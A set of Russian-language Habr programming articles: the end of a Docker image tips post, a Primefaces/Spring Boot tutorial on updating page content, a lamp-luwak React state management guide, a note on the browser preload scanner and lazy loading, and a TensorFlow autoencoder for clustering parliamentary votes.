Само по себе это не является большой проблемой; но раньше я использовал DOS. А в DOS, если вы хотите запустить программу `HELLO.COM` или `HELLO.EXE`, расположенную в текущем каталоге, можно запустить `hello` напрямую; вам не нужно набирать `./hello` как в UNIX. Поэтому я настроил скрипты входа в систему так, чтобы в `$PATH` была `.` .
Вы поняли, к чему это приведет? Вместо запуска `./test` я запускал `test` и в итоге вызвал `/usr/bin/test` (также известный как `/usr/bin/[`) и удивился, почему ничего не произошло (потому что без аргументов `/usr/bin/test` ничего не отображает и просто закрывается).
Что я советую: не называйте скрипты так, чтобы это конфликтовало с другими популярными программами. Кто-то может это заметить и учесть, а вот другие не заметят и запустят что-нибудь не то.
Это особенно верно для двухбуквенных команд, потому что в UNIX их очень много! Например:
* bc и dc («собрать контейнер» и «задеплоить контейнер» для некоторых, но также некоторые относительно распространенные калькуляторы текстового режима в UNIX);
* cc («создать контейнер», а еще стандартный компилятор С в UNIX);
* go (конфликтует с набором инструментов Go);
* **Сборка с файлами Docker**.
Иногда использование файла Docker– не лучшее решение для сборки образа. В статье [Перемещение и сборка образов контейнеров и как делать это правильно](https://articles.imjasonh.com/moving-and-building-images#what-to-do-instead-1) Джейсон Холл объясняет, в частности, как эффективно и безопасно собрать и передать образы с программами Go. Спойлеры: в статье рассматривается только для Go (потому что Go имеет отличный набор инструментов), но даже если вы хотите поместить в контейнер другие языки, я обещаю, что будет интересно.
Джейсон также упоминает [Buildpacks](https://buildpacks.io/). Я не большой их фанат, возможно они напоминают мне о временах, когда я работал в dotCloud. Проработав больше пяти лет с аналогичными инструментами сборки, очень радостно теперь работать с файлами Docker. 🤷🏻 Но у них определенно есть свои достоинства, поэтому, если вам кажется, что файлов Docker слишком много (или, в зависимости от точки зрения, недостаточно), вам обязательно стоит проверить Buildpacks.
### И ещё
Как я сказал во введении к этой серии рекомендаций: не относитесь к ним как к абсолютным правилам. Я всего лишь хочу сказать: «Осторожней, если вы сделаете это, последствия могут быть неожиданными; вот что я предлагаю, чтобы исправить ситуацию».
Когда я обучаю работе с контейнерами, я посвящаю целый раздел советам и приемам по созданию «лучших образов» и написанию «лучших файлов Docker». Я обычно завершаю этот раздел таким выводом:
*Суть контейнеров не в том, чтобы получать образы меньшего размера. Их суть в том, чтобы помочь нам отправлять код быстрее, надежнее, с меньшим количеством ошибок и/или в большем масштабе. Предположим, вы реализуете многоэтапные сборки и понимаете, что теперь тесты работают медленнее или ломаются случайным образом. Откатите назад и попробуйте вместо этого решить основную проблему! Если вы проводите полдня, ожидая, пока код перейдет к обкатке или в продакшн, потому что на запаковку и распаковку образов требуется вечность, тогда, да, возможно, будет отличной идеей оптимизировать размер образа. Но если это не помогает вам в достижении целей, не делайте этого.*
Спасибо за чтение!
P.S.: больше полезностей для DevOps'ов - в телеграм-канале [**DevOps FM**](https://t.me/devops_fm). | https://habr.com/ru/post/664660/ | null | ru | null |
# Интеграция Primefaces в приложение на Spring Boot. Часть 3 — динамическое обновление контента страницы
Во второй части мы сосредоточились главным образом на создании меню на основе компонента Tree ContextMenu. Пришло время показать, как можно этим меню воспользоваться. В моем случае сценарий такой - необходимо по клику на одном из трех пунктов меню обновить содержание главной части страницы, в которой должно отобразиться каждый раз разное содержимое. Метод, который я покажу, достаточно универсальный, его можно применять самыми разными способами. (Вообще, основной текст xhtml страницы и бина компонента уже показаны в предыдущей части статьи, кто-то, возможно, уже и сам разобрался в этом, но все равно, разберем этот момент подробнее)
Итак, вот еще раз часть кода страницы:
```
```
Компонент `p:splitter` очень простой, он просто разделяет страницу на две области в заданной пропорции. В левой части, собственно, размещен наш компонент меню `p:tree`. В правой - размещаем компонент ui:include из библиотеки <http://xmlns.jcp.org/jsf/facelets>. Обратите внимание, что я дважды завернул его в компонент `h:panelGroup` и включил во внутренней обертке `rendered="true"`, это сделано для того, чтобы при частичном рендеринге страницы вложенная в него страница также обновлялась. Далее, указываем источник, где размещена вложенная страница . `getSrc()` - это у меня метод бина компонента, который получает адрес вложенной страницы. В бине устанавливаем адрес по дефолту, который указывает на вложенную страницу, загружаемую при первом заходе на главную страницу. Затем нам необходимо написать метод `setSrc()`, который будет загружать в поле бина listSrc новый адрес при клике по пункту меню. Приведем еще раз класс бина компонента, который уже публиковался во второй части статьи, чтобы вы его не искали:
```
import jakarta.faces.view.ViewScoped;
import jakarta.inject.Inject;
import org.primefaces.PrimeFaces;
import org.primefaces.model.TreeNode;
import javax.annotation.ManagedBean;
import javax.faces.component.UIComponent;
import javax.faces.component.UIViewRoot;
import javax.faces.context.FacesContext;
import java.io.Serializable;
import java.util.List;
@ManagedBean("treeContextMenuView")
@ViewScoped
public class PageMenuView implements Serializable {
private final TreeNode root;
private TreeNode selectedNode;
private final String DEFAULT\_LIST = "employees.xhtml";
private String listSrc;
@Inject
public PageMenuView(PageService service) {
root = service.createPages();
listSrc = DEFAULT\_LIST;
}
public TreeNode getRoot() {
return root;
}
public TreeNode getSelectedNode() {
return selectedNode;
}
public void setSelectedNode(TreeNode selectedNode) {
this.selectedNode = selectedNode;
}
public void setSrc() {
if (selectedNode.getData().getLink() != null) {
listSrc = selectedNode.getData().getLink();
UIViewRoot view = FacesContext.getCurrentInstance().getViewRoot();
List uiComponents = view.getChildren();
UIComponent uiComponent = uiComponents.get(2).getChildren().get(0).getChildren().get(3).getChildren().get(1)
.getChildren().get(0);
PrimeFaces.current().ajax().update(uiComponent.getClientId());
}
}
public String getSrc() {
return listSrc;
}
}
```
Чтобы метод сработал, его нужно вызвать ajax запросом из компонента меню, привязав событие select к обработчику `setSrc()`
Обработчик считывает выбранный узел в виде объекта `TreeNode`, извлекает из данных объекта новый линк, привязанный к соответствующему пункту меню и загружает линк в переменную listSrc. После чего необходимо программным способом вызвать обновление компонента , что мы и делаем. В моем случае я выбрал самый упрощенный путь поиска компонента в дереве DOM страницы, так как не предполагаю динамически менять ее никогда. При ре-рендеринге перезагружается другая вложенная страница с другим содержимым.
Однако, в Интернет вы найдете массу описаний, как получить компонент или просто любой другой элемент в проектах на Primefaces по id элемента или компонента. Не удивляйтесь, что в большинстве случаев они работать не будут, так как они используют другую конструкцию - `FacesContext.getCurrentInstance().getViewRoot().findComponent(id)` и последний метод в нем, как правило, не может найти компонент по id, просто потому, что на странице часто много динамики, много разных компонентов, инклудов и так далее, из-за которых вы фактически будете вызывать компонент из того места кода, где контекст или его часть фактически уже потеряны. И разбираться во всем этом хитросплетении чаще бывает намного дольше и сложнее, чем просто пройтись по DOM страницы и найти нужный компонент в режиме дебага. Или еще можно написать или нагуглить какой-то метод для поиска компонента по id рекурсивным поиском по DOM, например, как здесь <https://stackoverflow.com/questions/14378437/find-component-by-id-in-jsf>. Я не стал мучиться, и просто нашел компонент вручную.
В следующей части статьи мы посмотрим, как я делал списки для вывода из БД в компоненте DataTable Filter (список табличных данных с фильтром)
Данный цикл статей подготовлен в преддверии старта курса "[Java Developer. Professional](https://otus.pw/kdYY/)". Также рекомендую к посещению бесплатный урок курса по теме: "Реактивное подключение к Postgresql в приложениях на Java".
* [Зарегистрироваться на бесплатный урок](https://otus.pw/kdYY/) | https://habr.com/ru/post/712858/ | null | ru | null |
# Сервисно-ориентированный state management c lamp-luwak
Благодаря тому, что React предоставляет удивительные возможности по работе с отображением, можно сосредоточиться только на организации логики приложения и семантике кода, описывающего работу с данными. Т.е. выбирая state management библиотеку, происходит выбор стилистики будущей кодовой базы.
В данной статье мы рассмотрим подход, основанный на сервисах-сторах, реализуемый благодаря библиотеке `lamp-luwak`.
**TL;DR** Кто хочет скорее приступить к написанию кода, может перейти к следующему параграфу.
Вся логика внутри вашего приложения разбивается на сервисы, каждый сервис содержит в себе единственный стор, изменение которого уведомляет подписчиков. Так же внутри сервиса содержатся функции логики, где можно обращаться к другим сервисам и перезаписывать иммутабельный стор, эти функции могут быть асинхронными и содержать в себе сайд эффекты.
`lamp-luwak` позволяет оптимизировать участки документа, необходимого для перерисовки. Локализация областей вашего отображения и минимизация затрат на обновления, происходит за счёт подписывания каждого React компонента вызывающего `useProvide` или `useSubscribe` на соответствующие сторы. Обновляться будут только те компоненты, что используют сторы, которые поменялись.
Любой сервис можно инстанцировать в любом месте вашего приложения, для библиотеки не требуется какая-либо инициализация. Например, это особенно удобно для разработки изолированных компонентов или embedded решений. Или при внедрении в существующий проект.
Также каждый сервис может быть подписан на изменение стора любого другого сервиса или набора сервисов через механизм `subscribe`. Таким образом можно делать зависимые вычисления.
### Приступим
Для демонстрации стилистики кода воспользуемся примером приложения, что реализует часть функциональности todo-листа для сохранения наглядности:
* Добавление задачи;
* Завершить/возобновить каждую задачу из списка;
* Счетчик завершённых/активных.
### Установка
Развернём приложение todos используя `create-react-app`
```
npx create-react-app todos --template typescript --use-npm
# or
yarn create react-app todos --template typescript
```
Так же устанавливаем пакет `lamp-luwak` в todos приложение
```
npm i --save lamp-luwak
# or
yarn add lamp-luwak
```
### Организация приложения
Код организован на доступные по всему приложению сервисы, чтобы можно было в любом месте любого React компонента получить инстанцию какого-угодно сервиса и либо вывести его данные, либо инициировать какое-либо действие с этим сервисом.
Сервис — это инстанция класса или функции-фабрики, представленная в единственном экземпляре, создаваемая при первом обращении и остающаяся до конца работы приложения.
Описывается ли сервис с помощью класса или функции-фабрики, внутри себя он имеет свойство `store`.
```
class Todos {
store = [ /*...*/ ];
// ...
```
При описании свойства `store` необходимо указать значение стора по умолчанию. Так же из этого значения будет автоматически выводиться тип стора для типизированных диалектов.
Далее сервис доступен либо из любого другого сервиса
```
class TodoCounters {
todo = provide(Todo);
// ...
```
Здесь функция `provide` возвращает инстанцию сервиса, принимая в качестве аргумента класс сервиса, в данном примере `Todo`.
Либо из любого React компонента
```
const List = () => {
const todo = useProvide(Todo);
// ...
};
```
Идентификатором сервиса является его класс или функция-фабрика. В React компонент инстанция необходимого сервиса поставляется через метод `useProvide`, единственный аргумент которого — класс или функция-фабрика сервиса, в данном примере `Todo`. При таком способе получения сервиса в компоненте, компонент будет автоматически подписан на изменение стора этого сервиса.
Стор — это иммутабельная структура данных, для модификации стора используется обычное присвоение, потому что свойство `store` после инстанциации через `provide` или `useProvide` становиться геттер/сеттером и если при присвоении приходит отличное от предыдущего значение, то все подписчики на изменение стора получат уведомление с новым и старым значением стора.
Таким образом в примере выше, компонент List будет перерисовываться каждый раз когда будет изменяться значение стора сервиса `Todo`.
### Структура
Положим сервисы в папку `services`, а React компоненты в папку `components` и получим следующую структуру нашего приложения.
```
srс/
components/ // Директория с React компонентами приложения
Counters.tsx // Счетчики активных и выполненных задач
Input.tsx // Форма для добавления новой задачи
Task.tsx // Задача
List.tsx // Список задач
services/ // Директория с сервисами
Todo/
Task.ts // Задача
Todo.ts // Сервис списка задач
TodoCounters.ts // Сервис счетчиков активных и выполненных задач
App.tsx // Главный компонент приложения
```
### Сервисы
Для реализации нашей задачи нам потребуется комбинация из 2-х сервисов. Это будет:
* `Todo` — в его сторе будет храниться массив экземпляров задач, и у него будет метод `add` для добавления новой задачи;
* `TodoCounters` — в его сторе будут вычисленные счётчики активных задач и завершённых.
Далее необходимо подробнее рассмотреть структуру стора `Todo` сервиса, это массив из экземпляров класса `Task`, т.е. это, по сути, массив из других сторов. Стоит упомянуть сразу, что никакой подписки на вложенные сторы не происходит, это просто допустимое значение. Экземпляр класса со стором может быть вложен в другой стор наравне с другими типами, такими как Date, Map, Set. (с SSR) Это сделано для оптимизации глубоких вложенных структур данных, чтобы локализовывать области обновления UI. А также для стилистики описания логики ближе к данным, к ней относящимся. Например, в нашем примере в `Task` содержится метод `toggle`, который меняет статус завершённости задачи.
Для того чтобы создать экземпляр класса `Task`, со стором и возможностью быть источником уведомлений об изменении стора, необходимо использовать функцию `create`, принимающую первым аргументом класс или функцию-фабрику, а последующие аргументы будут проброшены в конструктор класса или в аргументы функции-фабрики соответственно.
```
// Todo.ts
import { create } from 'lamp-luwak';
import { Task } from './Todo/Task';
export class Todo {
store = [
create(Task, { id: 1, label: 'Cook the dinner', completed: false }),
create(Task, { id: 2, label: 'Cook the breakfast', completed: true })
]
add(label: string) {
this.store = this.store.concat(
create(Task, { id: Date.now(), label, completed: false })
);
}
}
```
Создаём сервис `Todo`. В `store` по умолчанию положим два экземпляра задачи `Task`, создав их через функцию `create`. И добавляем метод `add`, который пересоздаёт стор, добавляя в него новый экземпляр задачи `Task`. В качестве уникального `id`, использовано значение вызова `Date.now`.
```
// Todo/Task.ts
import { subscribe, modify, action } from 'lamp-luwak';
type Store = {
id: number,
label: string,
completed: boolean
}
export const TaskChanged = action();
export class Task {
store: Store;
constructor(store: Store) {
this.store = store;
subscribe(this, TaskChanged);
}
toggle() {
modify(this).completed = !this.store.completed;
}
}
```
Создаём класс `Task`, описывающий задачу. Описанная структура стора декларирует соответствующий формат данных: `id` задачи, её заголовок `label` и статус завершённости `completed`. Описываем метод `toggle`, что меняет значение статуса завершённости задачи на противоположное, используя функцию `modify`, что позволяет иммутабельно модифицировать стор, используя синтаксис с присвоением.
Кроме описания класса присутствует ещё и описание экшена `TaskChanged`, созданного вызовом функции `action`.
Экшен — это функция, которая может быть источником уведомлений для подписчиков. Экшен можно вызывать как функцию, но рекомендованный подход — использовать функцию `dispatch` библиотеки `lamp-luwak`.
В коде выше, мы подписываем экшен на обновление стора, таким образом `TaskChanged` становится источником уведомлений об изменении стора каждого экземпляра класса `Task`. Подписка происходит посредством вызова функции `subscribe`, первый аргумент — это источник уведомлений об изменении стора, т.е. текущий объект, а второй — функция обработчик, что будет вызвана каждый раз при каждом обновлении стора. В данном случае в качестве функции обработчика выступает экшен `TaskChanged`, мы тоже экспортируем его из файла.
```
// TodoCounters.ts
import { provide, subscribe } from 'lamp-luwak';
import { Todo } from './Todo';
import { TaskChanged } from './Todo/Task';
export class TodoCounters {
todo = provide(Todo);
store = {
active: 0,
completed: 0
}
constructor() {
subscribe(this.todo, this.calculate, this);
subscribe(TaskChanged, this.calculate, this);
this.calculate();
}
calculate() {
const items = this.todo.store;
const completed = items.filter(item => item.store.completed).length;
const active = items.length - completed;
this.store = { completed, active };
}
}
```
Здесь мы создаём сервис `TodoCounters`, что является агрегатором. Он подписан на уведомления от 2-х источников:
* Сервис `Todo`, в его сторе храниться список задач и потому при добавлении или удалении задачи, с сервиса будет приходить уведомление.
* Экшен `TaskChanged` является источником уведомлений, что происходят при каждом изменении стора какого-либо из экземпляров `Task`, а это возможно только при изменении значения поля `completed`, так как остальные поля в нашем интерфейсе остаются неизменными на протяжении всего времени работы приложения.
При каждом уведомлении происходит пересчёт счетчиков активных и завершённых задач в методе `calculate`.
Графическая иллюстрация текущей структуры приложения:
### Отображение
Кроме основного компонента приложения `App.tsx`, присутствуют ещё четыре компонента.
`List` — отрисовывает список задач.
```
// List.tsx
import React from 'react';
import { useProvide } from 'lamp-luwak';
import { Todo } from '../services/Todo';
import { Task } from './Task';
export const List = () => {
const todo = useProvide(Todo);
const items = todo.store;
if (items.length === 0) return null;
return (
{items.map(item => (
))}
)
};
```
Для получения инстанции сервиса `Todo`, используется вызов `useProvide`, таким образом компонент `List`, не только получает возможность пользоваться стором, где хранится список задач, но и подписывается на модификацию этого стора. Компонент будет обновляться каждый раз, когда количество задач в списке будет меняться.
`Task` — отрисовывает конкретную задачу.
```
// Task.tsx
import React, { FC } from 'react';
import { useSubscribe } from 'lamp-luwak';
import { Task as TaskClass } from '../services/Todo/Task';
export const Task: FC<{ task: TaskClass }> = ({ task }) => {
useSubscribe(task);
const { label, completed } = task.store;
return (
- task.toggle()}
/>
{label}
)
};
```
Чтобы подписаться на изменение стора экземпляра задачи `Task`, полученного в аргументах функции компонента, необходимо вызвать функцию `useSubscribe`, в результате компонент будет обновляться всякий раз когда будет изменён стор экземпляра задачи. Для изменения статуса завершённости, используется вызов метода `toggle` задачи.
`Counters` — отрисовывает счётчики активных и завершённых задач.
```
// Counters.tsx
import React from 'react';
import { useProvide } from 'lamp-luwak';
import { TodoCounters } from '../services/TodoCounters';
export const Counters = () => {
const { active, completed } = useProvide(TodoCounters).store;
return (
<>
Active: {active}
Completed: {completed}
)
};
```
Компонент простой и не нуждается в излишнем описании, так как функция `useProvide` уже знакома. Здесь мы отрисовываем счётчики активных и завершённых задач, а так же подписываемся на изменение стора сервиса `TodoCounters`.
`Input` — предоставляет форму для добавления новой задачи.
Для добавления новой задачи используется метод `add` сервиса `Todo`. Для хранения локального значения формы, до момента добавления задачи в список `Todo`, используется стандартный хук React `useState`.
```
// Input.tsx
import React, { useState } from 'react';
import { useProvide } from 'lamp-luwak';
import { Todo } from '../services/Todo';
export const Input = () => {
const [text, setText] = useState('Cook the lunch');
const todo = useProvide(Todo);
const add = () => {
todo.add(text);
setText('');
};
return (
<>
setText(e.target.value)}
value={text}
autoFocus
onKeyDown={(event: any) => {
if (event.keyCode === 13) add();
}}
/>
Add
);
};
```
И тогда содержимое файла `App.tsx`, находящегося в папке `src` проекта, станет подключением набора написанных выше компонентов.
```
// App.tsx
import React from 'react';
import { Input } from './components/Input';
import { List } from './components/List';
import { Counters } from './components/Counters';
const App = () => (
<>
);
export default App;
```
Enjoy! На этом наше приложение готово.
Таким образом мы рассмотрели основные принципы построения приложений на `lamp-luwak`, и ознакомились с понятиями сервиса и стора, с понятием экшена и механизмом подписок. И попрактиковались в написании кода в новой стилистике.
### Домашнее задание
Кому понравилось, приглашаю самостоятельно сделать удаление задачи из списка.
### В заключение
Конечно, стоит упомянуть, что библиотека ещё свежая, поэтому особенно приветствуется любая конструктивная информация об обнаруженных ошибках.
Всем спасибо за внимание.
### Ссылки
* [Github репозиторий библиотеки](https://github.com/betula/lamp-luwak);
* [NPM модуль](https://www.npmjs.com/package/lamp-luwak);
* Пример из статьи на [Codesandbox](https://codesandbox.io/s/github/betula/lamp-luwak-article-1/tree/master/todos), [Github](https://github.com/betula/lamp-luwak-article-1/tree/master/todos);
* Пример из статьи с удалением задачи на [Codesandbox](https://codesandbox.io/s/github/betula/lamp-luwak-article-1/tree/master/todos-with-remove), [Github](https://github.com/betula/lamp-luwak-article-1/tree/master/todos-with-remove). | https://habr.com/ru/post/497572/ | null | ru | null |
# JavaScript: заметка о сканере предварительной загрузки и пропуске невидимого контента
Привет, друзья!
В этой заметке я хочу рассказать о двух вещах:
1. Сканере предварительной загрузки (теоретическая часть).
2. Пропуске невидимого контента (практическая часть).
Обе технологии используются браузером для повышения скорости загрузки веб-приложений.
Теоретическая часть представляет собой адаптированный и дополненный перевод [этой статьи](https://web.dev/preload-scanner/). Практическая часть — это небольшой эксперимент по применению новых свойств `CSS`, о которых рассказывается в [этой статье](https://web.dev/content-visibility/) ([перевод](https://habr.com/ru/company/vdsina/blog/514760/)).
Если вам это интересно, прошу под кат.
Сканер предварительной загрузки
-------------------------------
### Что такое сканер предварительной загрузки?
В каждом браузере есть основной парсер (primary parser) `HTML` (далее — просто парсер), который токенизирует (tokenize) разметку и преобразует ее в объектную модель. Разбор разметки продолжается до тех пор, пока парсер не встретит блокирующий ресурс, такой как стили, загружаемые через элемент `link`, или скрипт, загружаемый через элемент `script` без атрибута `async` или `defer`.
На приведенной диаграмме парсер блокируется загрузкой внешнего `CSS-файла` с помощью элемента `link`. Браузер не будет разбирать остальной документ и ничего не будет рендерить до тех пор, пока не загрузит и не разберет эту таблицу.
В случае с файлами `CSS` парсинг и рендеринг блокируются во избежание вспышки нестилизованного контента (flash of unstyled content, FOUC), когда на мгновение появляется нестилизованная версия страницы перед применением к ней соответствующих стилей.
Браузер также блокирует парсинг и рендеринг страницы, когда встречает тег `script` без атрибута `async` или `defer`.
*Обратите внимание*: скрипты с `type="module"` загружаются отложено по умолчанию.
Причина такого поведения браузера состоит в том, что скрипт может модифицировать [DOM](https://developer.mozilla.org/ru/docs/Web/API/Document_Object_Model/Introduction) до завершения обработки разметки парсером.
Блокировка парсинга и рендеринга является нежелательной, поскольку может помешать обнаружению других важных ресурсов. К счастью, кроме основного, в браузере также имеется дополнительный парсер (secondary parser), который называется сканером предварительной загрузки (preload scanner) (далее — просто сканер).
Основной парсер блокируется обработкой `CSS` и не "видит" изображение в `body`. Однако сканер продолжает свою работу, обнаруживает изображение и загружает его, не дожидаясь разблокировки парсера.
Роль сканера — исследование разметки с целью обнаружения ресурсов для предварительной загрузки, т.е. до обнаружения этих ресурсов парсером.
### Как увидеть работу сканера?
Рассмотрим [страницу](https://preload-scanner-fights.glitch.me/artifically-delayed-requests.html) со стилизованными изображением и текстом. Блокировка парсинга и рендеринга файлом `CSS` позволяет реализовать искусственную задержку в 2 секунды с помощью прокси-сервера. Задержка помогает увидеть работу сканера на сетевом водопаде (network waterfall):
Сканер обнаружил элемент `img`, несмотря на блокировку парсинга и рендеринга. Без этой оптимизации браузер не сможет предварительно загружать ресурсы в период блокировки. Это означает, что будет больше последовательных запросов и меньше параллельных.
Может ли разработчик помочь сканеру? Нет. Но он может ему не мешать. Рассмотрим парочку примеров.
### Внедренные скрипты
Предположим, что в `head` у нас имеется такой код:
```
const script$ = document.createElement('script')
script$.src = '/ym.min.js'
document.head.append(script$)
```
Внедренные (injected) скрипты (`ym.min.js`) по умолчанию являются асинхронными (как будто у них имеется атрибут `async`). Такие скрипты запускаются сразу и не блокируют рендеринг. Звучит прекрасно, не правда ли? Да, но если расположить такой `script` после `link`, загружающего внешний файл `CSS`, то результат будет следующим:
Страница содержит одну таблицу стилей и встроенный асинхронный скрипт. Сканер не может обнаружить такой скрипт в период блокировки, поскольку он внедряется на клиенте.
Вот что здесь происходит:
1. Сначала запрашивается основной документ.
2. На 1,4 секунды прибывает первый байт навигационного запроса.
3. На 2 секунде запрашиваются стили и изображение.
4. Парсер блокируется загрузкой стилей и встроенный `JS`, который внедряет асинхронный скрипт, выполняется только на 2,6 секунды.
Таким образом, запрос на получение скрипта выполняется только после завершения загрузки стилей. Это может негативно сказаться на [времени до интерактивности](https://web.dev/tti/) (Time to Interactive, TTI).
Перепишем код следующий образом:
Результат:
Сканер обнаруживает асинхронный скрипт в период блокировки и загружает его одновременно со стилями.
Данную проблему также можно решить с помощью [rel="preload"](https://developer.mozilla.org/en-US/docs/Web/HTML/Link_types/preload):
Предварительная загрузка решает задачу, но возникает другая проблема: в первом примере асинхронный скрипт загружается с "низким" приоритетом, а таблица стилей с "наивысшим", во втором случае стили также загружаются с "наивысшим" приоритетом, а приоритет загрузки скрипта становится "высоким".
Чем выше приоритет загрузки ресурса, тем больше пропускной способности выделяется ему браузером. Высокий приоритет скрипта может стать проблемой при медленном соединении или большом размере файла.
Ответ прост: если скрипт требуется при запуске приложения, не внедряйте его в `DOM` с помощью встроенного `JS`.
### Ленивая загрузка с помощью `JS`
Ленивая или отложенная (lazy) загрузка — отличный метод обработки данных, часто применяемый к изображениям. Однако неправильное применение этой техники может привести к тому, что важные ресурсы не будут своевременно обнаружены сканером (получение ссылки на изображение, его загрузка, декодирование и отображение).
Взглянем на такую разметку:
```
![Example]()
```
Использование атрибута `data-*` является распространенной практикой, используемой ленивыми загрузчиками (lazy loaders, например, [vanilla-lazyload](https://github.com/verlok/vanilla-lazyload)). Когда изображение попадает в область просмотра, загрузчик меняет `data-src` на `src`. Обычно, это реализуется с помощью [Intersection Observer API](https://developer.mozilla.org/ru/docs/Web/API/Intersection_Observer_API). Это заставляет браузер загрузить ресурс.
Паттерн работает до тех пор, пока изображение не находится в области просмотра при запуске приложения. Поскольку сканер не читает атрибут `data-src` как атрибут `src` (или `srcset`), ссылка на изображения остается скрытой. Более того, загрузка изображения откладывается до загрузки, компиляции и выполнения кода ленивого загрузчика.
 | https://habr.com/ru/post/671762/ | null | ru | null |
# Автоэнкодер в задачах кластеризации политических событий
**Я не люблю читать статьи, смотрю demo и код**[Демо TensorBoard Projector](http://octadero.com/event.php?p=http%3A%2F%2Fprojector.tensorflow.org%2F%3Fconfig%3Dhttps%3A%2F%2Fgist.githubusercontent.com%2FVolodymyrPavliukevych%2Ffe9d724a2d47085798dce306b22a377f%2Fraw%2F749c9e066c2fe5f7b1decb062c00803f3b72f6da%2Frada_full_packed_projector_config.json)
1. Работает в Chrome.
2. Открываем и нажимаем на **Bookmarks** в нижнем правом углу.
3. В верхнем правом углу можем фильтровать классы.
4. В конце статьи есть GIF картинки с примерами использования.
[Проект на GitHub](http://octadero.com/event.php?p=https%3A%2F%2Fgithub.com%2FOctadero%2Frada)
**Отступление от темы***В данной статье, пойдет речь о **средствах машинного обучения**, подходах и практических решениях. Анализ проводится на базе политических событий, что не является предметом обсуждения данной статьи. Убедительная просьба не поднимать тему политики в комментариях к этой статье.*
Уже несколько лет подряд алгоритмы машинного обучения находят применение в различных областях. Одной из таких областей может стать и аналитика различных событий в политической сфере, например: прогнозирование результатов голосования, разработка механизмов кластеризации принятых решений, анализ деятельности политических акторов. В этой статье я постараюсь поделиться результатом одного из исследований в этой области.
#### Постановка задачи
Современные средства машинного обучения позволяют трансформировать и визуализировать большой объем данных. Этот факт позволил провести анализ деятельности политических партий путем трансформирования голосований за 4 года в самоорганизуемое пространство точек отображающее поведение каждого из депутатов.
Каждый политик самовыразился по факту двенадцати тысяч голосований. Каждое голосование может принимать одно из пяти вариантов (не пришел в зал, пришел но пропустил голосование, проголосовал “за”, “против” или воздержался).
Наша задача — трансформировать все результаты голосования в точку в трехмерном евклидовом пространстве отражающую некую взвешенную позицию.
#### Open Data
Все изначальные данные были получены на [официальном сайте](http://octadero.com/event.php?p=http%3A%2F%2Fdata.rada.gov.ua%2Fopen), после чего трансформированы в данные для нейросети.
#### Автоэнкодер
Как было видно из постановки задачи, необходимо двенадцать тысяч голосований представить в виде вектора размерности 2 или 3. Именно категориями 2х мерных и 3х мерных пространств человек может оперировать, большее количество пространств человеку крайне сложно себе представить.
Для снижения разрядности мы применим автоэнкодер.
В основу автоэнкодеров заложен принцип двух функций:
 — функция энкодер;
 — функция декодер;
На вход такой сети подается оригинальный вектор  размерностью  и нейросеть трансформирует его в значение скрытого слоя  размерностью . Далее декодер нейросети трансформирует значение скрытого слоя  в выходной вектор  размерностью , при этом . То есть скрытый слой в результате будет меньшей размерности, но при этом он сможет отражать весь набор исходных данных.
Для обучения сети используется целевая функция ошибки:
Другими словами мы минимизируем разность между значениями входного и выходного слоя. Обученная нейронная сеть позволяет сжимать размерность изначальных данных до некой размерности  на скрытом слое .
На данной картинке изображен один входной, один спрятанный и один выходной слой. На практике таких слоев может быть больше.
Теорию я постарался рассказать, перейдем к практике.
Наши данные уже собраны в JSON формате с официального сайта, и закодированы в вектор.
Теперь у нас есть датасет размерностью 24000 x 453. Создаем нейросеть средствами TensorFlow:
```
# Building the encoder
def encoder(x):
with tf.variable_scope('encoder', reuse=False):
with tf.variable_scope('layer_1', reuse=False):
w1 = tf.Variable(tf.random_normal([num_input, num_hidden_1]), name="w1")
b1 = tf.Variable(tf.random_normal([num_hidden_1]), name="b1")
# Encoder Hidden layer with sigmoid activation #1
layer_1 = tf.nn.sigmoid(tf.add(tf.matmul(x, w1), b1))
with tf.variable_scope('layer_2', reuse=False):
w2 = tf.Variable(tf.random_normal([num_hidden_1, num_hidden_2]), name="w2")
b2 = tf.Variable(tf.random_normal([num_hidden_2]), name="b2")
# Encoder Hidden layer with sigmoid activation #2
layer_2 = tf.nn.sigmoid(tf.add(tf.matmul(layer_1, w2), b2))
with tf.variable_scope('layer_3', reuse=False):
w2 = tf.Variable(tf.random_normal([num_hidden_2, num_hidden_3]), name="w2")
b2 = tf.Variable(tf.random_normal([num_hidden_3]), name="b2")
# Encoder Hidden layer with sigmoid activation #2
layer_3 = tf.nn.sigmoid(tf.add(tf.matmul(layer_2, w2), b2))
return layer_3
# Building the decoder
def decoder(x):
with tf.variable_scope('decoder', reuse=False):
with tf.variable_scope('layer_1', reuse=False):
w1 = tf.Variable(tf.random_normal([num_hidden_3, num_hidden_2]), name="w1")
b1 = tf.Variable(tf.random_normal([num_hidden_2]), name="b1")
# Decoder Hidden layer with sigmoid activation #1
layer_1 = tf.nn.sigmoid(tf.add(tf.matmul(x, w1), b1))
with tf.variable_scope('layer_2', reuse=False):
w1 = tf.Variable(tf.random_normal([num_hidden_2, num_hidden_1]), name="w1")
b1 = tf.Variable(tf.random_normal([num_hidden_1]), name="b1")
# Decoder Hidden layer with sigmoid activation #1
layer_2 = tf.nn.sigmoid(tf.add(tf.matmul(layer_1, w1), b1))
with tf.variable_scope('layer_3', reuse=False):
w2 = tf.Variable(tf.random_normal([num_hidden_1, num_input]), name="w2")
b2 = tf.Variable(tf.random_normal([num_input]), name="2")
# Decoder Hidden layer with sigmoid activation #2
layer_3 = tf.nn.sigmoid(tf.add(tf.matmul(layer_2, w2), b2))
return layer_3
# Construct model
encoder_op = encoder(X)
decoder_op = decoder(encoder_op)
# Prediction
y_pred = decoder_op
# Targets (Labels) are the input data.
y_true = X
# Define loss and optimizer, minimize the squared error
loss = tf.reduce_mean(tf.pow(y_true - y_pred, 2))
tf.summary.scalar("loss", loss)
optimizer = tf.train.RMSPropOptimizer(learning_rate).minimize(loss)
```
[Полный листинг автоэнкодера.](http://octadero.com/event.php?p=https%3A%2F%2Fgithub.com%2FOctadero%2Frada%2Fblob%2Fmaster%2FAutoencoder%2Fautoencoder.py)
Сеть будет обучена RMSProb оптимизатором с шагом 0.01.
В результате можем видеть граф операций TensorFlow.
Для дополнительного теста выбираем первые четыре вектора и интерпретируем их значения на входе сети и выходе в виде картинки. Так мы сможем визуально убедиться, что значения выходного слоя “идентичны” (с погрешностью) значениям входного слоя.
Оригинальные входные данные.
Значения выходного слоя нейросети.
После последовательно передаем все наши исходные данные в сеть, извлекая значения спрятанного слоя. Эти значения и будут нашими искомыми сжатыми данными.
К слову сказать, я пробовал подобрать различные слои и выбрал ту конфигурацию, которая позволила приблизиться к минимальной ошибке.
**PCA и t-SNA редьюсеры размерности.**
